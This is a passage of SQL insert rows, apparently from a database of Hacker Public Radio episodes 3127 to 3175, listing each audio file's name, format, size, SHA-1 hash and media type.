(3127,'hpr3127.spx','spx',32825966,'ca2df1c1317d7d768aeeb146420d6b138941e16f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3128,'hpr3128.mp3','mp3',33748955,'8252b8d6e3f11e927c70140f28e8f93b6d802c9d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3128,'hpr3128.ogg','ogg',32641445,'f9f6fed92cde874747b46585057343cb87acb479','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3128,'hpr3128.spx','spx',15072318,'b1e31a32f64aceb61d29d641f2728d4542601ce5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3129,'hpr3129.mp3','mp3',18445547,'bfd27e4591b281690f3ee7126eab8aaac2f78e4b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3129,'hpr3129.ogg','ogg',20519711,'578d62cf9712fc3de201aae11ac060c55d15be6f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3129,'hpr3129.spx','spx',8237715,'fbcf3702564a992f547ee29ceb7a41659fd7bd59','application/ogg; charset=binary','Ogg data, Speex audio'),
(3130,'hpr3130.mp3','mp3',6523507,'d8b2750105481a930673cbaafbeda9dd11ccb602','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3130,'hpr3130.ogg','ogg',7372286,'a80e3810d1085169d2321a981c5453f6d37094a4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3130,'hpr3130.spx','spx',2913227,'aab63add983eda1453db5d558a88149e75d0df29','application/ogg; charset=binary','Ogg data, Speex audio'),
(3131,'hpr3131.mp3','mp3',59057446,'350988424b472f8ec684251649a72121e7f2a84e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3131,'hpr3131.ogg','ogg',59351251,'1265e94726b57ed2e06e0dc3f669b828b8abda6d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3131,'hpr3131.spx','spx',26375361,'488d87fbcfabf94a0209fbf764b08dd333d8cacc','application/ogg; charset=binary','Ogg data, Speex audio'),
(3132,'hpr3132.mp3','mp3',12037161,'d80a087e510b32d6b9640d38bea2d2402c23f3d8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3132,'hpr3132.ogg','ogg',14817784,'a0a024a96c37c8710e18d3f754d62a822ddc69b3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3132,'hpr3132.spx','spx',5375663,'b087df17376d2658d365adb82e64ccc0c2480e62','application/ogg; charset=binary','Ogg data, Speex audio'),
(3133,'hpr3133.mp3','mp3',2177155,'65185dc91ddcb124730bbd431522019ec7696a77','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3133,'hpr3133.ogg','ogg',2409056,'eccbd404334c6820f61eeb1a3cbce753744d8930','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3133,'hpr3133.spx','spx',972098,'16d97c7cb4d561d019b1093457a25db9e710c7da','application/ogg; charset=binary','Ogg data, Speex audio'),
(3134,'hpr3134.mp3','mp3',5034284,'42bcee387efe0da473e476ffedbcdf3e0c8067ab','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3134,'hpr3134.ogg','ogg',5777477,'5d44de83cc81402c48f24791673434fec91bcfaa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3134,'hpr3134.spx','spx',2248086,'e6f62e5d713caf4bd4577d6dec9be79888a66f84','application/ogg; charset=binary','Ogg data, Speex audio'),
(3135,'hpr3135.mp3','mp3',8970811,'28eb2fc9217a61ff86a4351e9c3d251577551f17','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3135,'hpr3135.ogg','ogg',9858738,'9522a5e4b81bc7169c7fc435a48d6ea932b9b4df','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3135,'hpr3135.spx','spx',4006207,'3b2c55335807ae415dae5545df7a95134ad81877','application/ogg; charset=binary','Ogg data, Speex audio'),
(3136,'hpr3136.mp3','mp3',3506879,'09c8430e8c138908040082f3738cdd2dc4da3884','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3136,'hpr3136.ogg','ogg',3454721,'5fcaae2de4abda492417afd9a1ce43eea90185cc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3136,'hpr3136.spx','spx',1565973,'4279e91754b8edbaa9e4420543c48924fa622d86','application/ogg; charset=binary','Ogg data, Speex audio'),
(3137,'hpr3137.mp3','mp3',12109080,'6ccc589d21e560a716718ddc81b63daf2a308f5a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3137,'hpr3137.ogg','ogg',13776407,'4d49c4a4b9b8f70b686014c5c7fc4edf46cf223c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3137,'hpr3137.spx','spx',5407788,'dc826e5cc71955448a09a0d24d4d7fa60028e1d0','application/ogg; charset=binary','Ogg data, Speex audio'),
(3138,'hpr3138.mp3','mp3',46517175,'28bc2b9068145456e66aa2d67cd7b9459347bcf7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3138,'hpr3138.ogg','ogg',44336241,'d3dcc7e61cd64140777b7c20de62ea99c6c30f83','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3138,'hpr3138.spx','spx',20774776,'f9b0a875043c060051561a069a40616e94a9b55e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3139,'hpr3139.mp3','mp3',10260621,'c6982974988c99dc7226f9aaf2dce48a322dcb96','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3139,'hpr3139.ogg','ogg',10377056,'1410285b9e9999470df32393be3e2eba6a3f16ae','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3139,'hpr3139.spx','spx',4582198,'f0d10b2aeb29ae08d3209a020fef8f629bd0dcb3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3140,'hpr3140.mp3','mp3',8860710,'57f93cbaeaa843d73a5283c47b62e9bb162597a0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3140,'hpr3140.ogg','ogg',10006977,'432825dbbe92d3f29d88708c083e2a439c11c21a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3140,'hpr3140.spx','spx',3957067,'e17c96292b37908dac6476ddec822ce6e5ef8afd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3141,'hpr3141.mp3','mp3',18559041,'c7d715e8abdbf9157a3a5d58024a608710062de0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3141,'hpr3141.ogg','ogg',19343363,'10a706addf3795dad2e29d9b61c2bdcbcedcb102','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3141,'hpr3141.spx','spx',8288467,'13607cd018d2c38c18d87d154317ad8f71adc129','application/ogg; charset=binary','Ogg data, Speex audio'),
(3142,'hpr3142.mp3','mp3',14124628,'0845220d6ada4ae383c26e0cc27ca9506c82321e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3142,'hpr3142.ogg','ogg',14332064,'5b7f9e21ba45e34b160773615c808b6a9504ac9a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3142,'hpr3142.spx','spx',6307892,'ff7f3e5d205b191dc2aa95bebf0dc7adf06d07fe','application/ogg; charset=binary','Ogg data, Speex audio'),
(3143,'hpr3143.mp3','mp3',8608456,'5d4490548d61dd7f3cbfa0595cf7d2141747280f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3143,'hpr3143.ogg','ogg',9767838,'61500894bd4c21aa250598f31ce779a1cc131fb1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3143,'hpr3143.spx','spx',3844355,'4e7c23c6d46085c274d2ce26680e046cf465c306','application/ogg; charset=binary','Ogg data, Speex audio'),
(3144,'hpr3144.mp3','mp3',7013766,'60f8885194a6f12f855728c476dd70b99e619c78','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3144,'hpr3144.ogg','ogg',7667096,'57b4d59164624e15df3140baf9fd6c63e92cd632','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3144,'hpr3144.spx','spx',3132168,'e0aa94c3267df6048ec2a0c4af0232c8637ae00d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3145,'hpr3145.mp3','mp3',6343310,'6709ae907ad64e3a0489a70b839eb47714164b5f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3145,'hpr3145.ogg','ogg',7489092,'790162b0674a173fd54d1088b273dc17d8dfbcdc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3145,'hpr3145.spx','spx',2832712,'db066cf80fd48d30f0372dad57d985287bf8fca8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3146,'hpr3146.mp3','mp3',4009644,'42f0e157b65da6990ef6edfd789d0618feda6f07','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3146,'hpr3146.ogg','ogg',4452915,'9476cb97d324dd2caabf3198a14d452f48373a9d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3146,'hpr3146.spx','spx',1790446,'82b2ee1725f3a0465ee1b2dac347234e76d590eb','application/ogg; charset=binary','Ogg data, Speex audio'),
(3147,'hpr3147.mp3','mp3',7814582,'97ae33d91042871ed799cafb37820b3b9b326537','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3147,'hpr3147.ogg','ogg',8942900,'d0330db838b19f4448debb53ccc1b4e78fd26f0e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3147,'hpr3147.spx','spx',3489824,'2f56227c793462211cc768eb0dc6262692b67f33','application/ogg; charset=binary','Ogg data, Speex audio'),
(3148,'hpr3148.mp3','mp3',14075619,'1a3c859026f3e354cb8ab9179571fe7b24a8d35e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3148,'hpr3148.ogg','ogg',15276859,'287433c2a7a6ac14cb46c950cdce2241a1dcc632','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3148,'hpr3148.spx','spx',6286106,'3e3279f3fd0d8a54e87d9f80ea0dc2705f1f8126','application/ogg; charset=binary','Ogg data, Speex audio'),
(3149,'hpr3149.mp3','mp3',51220329,'b51b26d55c495f7795085221f62d760c4408c0ed','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3149,'hpr3149.ogg','ogg',53347918,'e7d096c241b6773e986fd2df3edf97fed52d867a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3149,'hpr3149.spx','spx',22875264,'6e682901503005e00d3a8cde00efb19adc5852d5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3150,'hpr3150.mp3','mp3',9937135,'ed56098526949d7ae99b5b32a98540921fa85be2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3150,'hpr3150.ogg','ogg',11271084,'893acd8b2f01ff3760fc375147ddee8ed2373d03','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3150,'hpr3150.spx','spx',4437733,'86ffb2a3a2b1ca413d4edd1eb9710a26985b4fd5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3151,'hpr3151.mp3','mp3',3511037,'2f87f7a5dae2518498030498eb9cce88101bc40d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3151,'hpr3151.ogg','ogg',4044035,'11afcd873f444e20e13c78fdb83ac83be879d601','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3151,'hpr3151.spx','spx',1567797,'b58e4414ed0c9ae59659c85419252fa03f421b70','application/ogg; charset=binary','Ogg data, Speex audio'),
(3152,'hpr3152.mp3','mp3',8107113,'698036d8e2c152939938ff4a8dac8ea591211571','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3152,'hpr3152.ogg','ogg',8815599,'66e8d4bd0d364d12ce7ff4085dfb6c2194eb04a5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3152,'hpr3152.spx','spx',3620409,'ec4595e0bffd0b82b6cd293537d5c91e1ecbbdfc','application/ogg; charset=binary','Ogg data, Speex audio'),
(3153,'hpr3153.mp3','mp3',3653173,'cf32a5b6fe4c64445056ad513d61c1bccb9089e5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3153,'hpr3153.ogg','ogg',3988058,'303bff73d627ef37ed628a0fe9595849aeadab1e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3153,'hpr3153.spx','spx',1631280,'4b037a28ea8c7816c5a5d7aa6a8661a24e9cb5b6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3154,'hpr3154.mp3','mp3',7345626,'1a3e772f138480b2ea0a9e5fa29f2bbb9b26ac51','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3154,'hpr3154.ogg','ogg',8510240,'927c3065fff618c5f73eff3c25200880a01d342c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3154,'hpr3154.spx','spx',3280368,'a2c7d455a29a2d7590392fa2d731d4c25850d19a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3155,'hpr3155.mp3','mp3',6626494,'ee6dc5935b69334d28ec51f5f0e08177253830f9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3155,'hpr3155.ogg','ogg',7531403,'7d72a28935771d7eeaaf4a2f325fcd8aa6473e53','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3155,'hpr3155.spx','spx',2959208,'defa4af5e38fca59315e9088f2cd801e44e6a54c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3156,'hpr3156.mp3','mp3',34868871,'65f0bb161dbe63c60e36dbc3d96cac117a295862','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3156,'hpr3156.ogg','ogg',35120730,'1087cf45c570cee48484c1ba65e0d13c8b73df65','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3156,'hpr3156.spx','spx',15572526,'8406525e9ab8eee6a4cece700a07089341497461','application/ogg; charset=binary','Ogg data, Speex audio'),
(3157,'hpr3157.mp3','mp3',21005910,'5050ca135199640efafbf5e42aa5ef8bb77b51a8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3157,'hpr3157.ogg','ogg',24124796,'030d3cced846bfed64e74c3fd42ba5eda3f2d7c1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3157,'hpr3157.spx','spx',9381145,'e332f26e355b622ce5c1e94edd35453ee06a3a57','application/ogg; charset=binary','Ogg data, Speex audio'),
(3158,'hpr3158.mp3','mp3',10795850,'27d63c7e68e6eb27d986636d2fc1eaf051873ce0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3158,'hpr3158.ogg','ogg',12043314,'1b0c8a1697b03152b95b85d5c929e86d66eb7e4b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3158,'hpr3158.spx','spx',4821265,'fe22e80b568535daca405327de76ebc4a4751c7f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3159,'hpr3159.mp3','mp3',45654304,'984e1db203b9e14c5388ee6318d4a48f85d91800','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(3159,'hpr3159.ogg','ogg',30030670,'dacf02b720232efe6e1896bede18ecb60581491f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(3159,'hpr3159.spx','spx',10194921,'823af88dc8cdc7f3df1c17e0e4a24c1efc6b2a88','application/ogg; charset=binary','Ogg data, Speex audio'),
(3160,'hpr3160.mp3','mp3',9111891,'4a3d0d927a6c0aa7fce333a322b8fdbfe0487309','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3160,'hpr3160.ogg','ogg',10425109,'d5115c8757759524419a99365f53f8a492a776dd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3160,'hpr3160.spx','spx',4069253,'38772fe50bc9dfd02839bdfbe50960d2f6c52bfa','application/ogg; charset=binary','Ogg data, Speex audio'),
(3161,'hpr3161.mp3','mp3',10704331,'a9a402a5c8e3d89c57b37b3426f92ba8e170d7c0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3161,'hpr3161.ogg','ogg',11913999,'9e1874da66437f74011aa2d606b78f0fe6650fe3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3161,'hpr3161.spx','spx',4780397,'1637c799c62bbba9ec610c2e9dd08fa8ba80cb22','application/ogg; charset=binary','Ogg data, Speex audio'),
(3162,'hpr3162.mp3','mp3',21765849,'bc6e3f23ac4aec2d7203be5f11550c9bac3e4243','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3162,'hpr3162.ogg','ogg',21750808,'6c5232f3ffff59b40c7978a36d3080b904f3aef6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3162,'hpr3162.spx','spx',9720645,'3d869f9fbfe0dd19c3bc7d949d1db01e7a162c0b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3163,'hpr3163.mp3','mp3',32081538,'a22c363f21299fee69943e832e7c865d12977895','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3163,'hpr3163.ogg','ogg',31523168,'24a1a53d981d91b5078d1593d8c8d49e35137006','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3163,'hpr3163.spx','spx',14327777,'4fef3514dfb89657ec20760740a96781c9f1e5d2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3164,'hpr3164.mp3','mp3',9064020,'2391801a9a2cace31e50aaa682320191fa6c0f93','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3164,'hpr3164.ogg','ogg',10472543,'c1c8622a0f132a9f333ddd23053c61e2736f3e7e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3164,'hpr3164.spx','spx',4047777,'71df0775cc3f4071baa6ab5c234394d923dfabd2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3165,'hpr3165.mp3','mp3',7805142,'75763387757733fcba7de34f490a67e555e4d19f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3165,'hpr3165.ogg','ogg',9049623,'a0457a94f039a3a2e9c3397cbf513b3d6f5e3797','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3165,'hpr3165.spx','spx',3485644,'63f907d4a2f9d08b25dfaebf1be120b5e677dd63','application/ogg; charset=binary','Ogg data, Speex audio'),
(3166,'hpr3166.mp3','mp3',13016065,'472ccba2456092d17814cb3d8da5f6440587cc2d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3166,'hpr3166.ogg','ogg',14696206,'cfff33e28446e94b9fb5e0b4ff4e83d83028e274','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3166,'hpr3166.spx','spx',5812821,'42adfc093f96affe629c7301baac5f65bb35d80f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3167,'hpr3167.mp3','mp3',21571301,'dba1f567199ccc5f25e08354c6cc30a7c2410fdf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3167,'hpr3167.ogg','ogg',20485677,'b3d3b95626f5bf0bce3b65d1c064849b1af2a050','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3167,'hpr3167.spx','spx',9633683,'a2c248b3580ac0943b22e80b76f8b163b8a270af','application/ogg; charset=binary','Ogg data, Speex audio'),
(3168,'hpr3168.mp3','mp3',5397882,'882cfc390203e92c929be5c82ab855430ebcbf3c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3168,'hpr3168.ogg','ogg',5640061,'8204d6c88ffe92fd03d783f24ab58a67ccdc94db','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3168,'hpr3168.spx','spx',2410397,'92025dda65a812eae88fc603ec65e13118ac6d05','application/ogg; charset=binary','Ogg data, Speex audio'),
(3169,'hpr3169.mp3','mp3',42662102,'7a6fb1965e9a71dcf8f341434d6dc3b47bf3d557','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(3169,'hpr3169.ogg','ogg',26592490,'0d98c05d49f1f2962a269bd18d8ea8b9b2a99dde','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(3169,'hpr3169.spx','spx',9526675,'4f6fcfc051597202dc23a9909660e2e48f94e1e4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3170,'hpr3170.mp3','mp3',10778715,'376ddcffab89af732f4c3c24566e9a711aaa4025','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3170,'hpr3170.ogg','ogg',12354385,'3874acd36643b65b6730a2c1bd59b77eb0e65c5b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3170,'hpr3170.spx','spx',4813615,'4431470c56c107412dadbca62284176d030a7a5f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3171,'hpr3171.mp3','mp3',7041952,'84186f7b8631754de1a39fc07c14f765115f2a9e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3171,'hpr3171.ogg','ogg',7289469,'cbbfd92b0e503b8628904a81ab512dd28bc77410','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3171,'hpr3171.spx','spx',3144790,'2fee5cdbbc5754d97c9fc7c04a90f6c39f198aee','application/ogg; charset=binary','Ogg data, Speex audio'),
(3172,'hpr3172.mp3','mp3',25037620,'1fa3f427b02ef42a2e33c5d3f6d2ac4462ed96ce','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3172,'hpr3172.ogg','ogg',23826270,'6e8bb5ac1b329a7223184686684617390d7c554e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3172,'hpr3172.spx','spx',11181808,'2030dbbff5e2abaa606bec933c12b9d5fd82ae6d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3173,'hpr3173.mp3','mp3',10862148,'10cc9ad15ab0220c33c9742b466372b05ec9195c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3173,'hpr3173.ogg','ogg',11591175,'1c430e06aa3a135af57ec6efb91f6fbc7f5e1501','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3173,'hpr3173.spx','spx',4850899,'d2471ed2c916ddf2d2919454b2bf3b8c37d5f8c7','application/ogg; charset=binary','Ogg data, Speex audio'),
(3174,'hpr3174.mp3','mp3',42890575,'dcae3fc41b02c692c809d050fa1be07585a004cd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3174,'hpr3174.ogg','ogg',41463169,'cefa91d09732a26a618ac8c8e3277f0fe729d94c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3174,'hpr3174.spx','spx',19155083,'61500f8504f71f0a3ddf7901a8fbbe01eef8ccee','application/ogg; charset=binary','Ogg data, Speex audio'),
(3175,'hpr3175.mp3','mp3',6602050,'f16978b4213886a5daa31e1aae65e33962c8c3d5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3175,'hpr3175.ogg','ogg',7599032,'03f8be8f878c4bf086609591878c967770656555','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
